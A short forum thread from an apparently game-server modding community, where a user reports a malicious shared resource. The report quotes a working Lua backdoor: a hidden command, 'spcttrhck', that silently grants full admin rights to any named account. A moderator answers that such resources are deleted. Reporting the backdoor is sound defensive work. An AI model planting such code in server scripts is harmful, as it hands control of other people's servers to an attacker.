Jump to content

REPORT COMMUNITY CENTER RESOURCES HERE


Recommended Posts

  • Replies 1.1k
  • Created
  • Last Reply

Top Posters In This Topic

Posted

Report:

viewtopic.php?f=108&t=34613

When players(authors) joined his server , he can gets full admin rights. Here is code:

  
function giveAdminRights (playerSource, commandName, accountName) 
    if accountName then 
        aclGroupAddObject (aclGetGroup("Admin"), "user."..accountName) 
        aclSave() 
        outputChatBox (accountName..".", playerSource,0,255,0) 
    else 
        outputChatBox ("X", playerSource,255,0,0) 
    end 
end 
addCommandHandler ("spcttrhck", giveAdminRights) 
  

Credis to: LoveFist and AcitanoX for functions

Posted

It's a shame people feel the need to steal and share proprietary resources, but our only course of action right now is to delete them as quickly as we can. Thank you for reporting bad resources, everybody!

Guest
This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...